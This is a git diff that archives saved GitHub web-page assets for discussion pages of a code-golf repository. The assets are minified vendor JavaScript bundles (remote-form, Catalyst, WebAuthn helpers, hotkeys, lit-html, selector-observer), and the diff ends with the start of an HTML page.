failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Problem 5: Mocking Spongebob · Discussion #6 · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 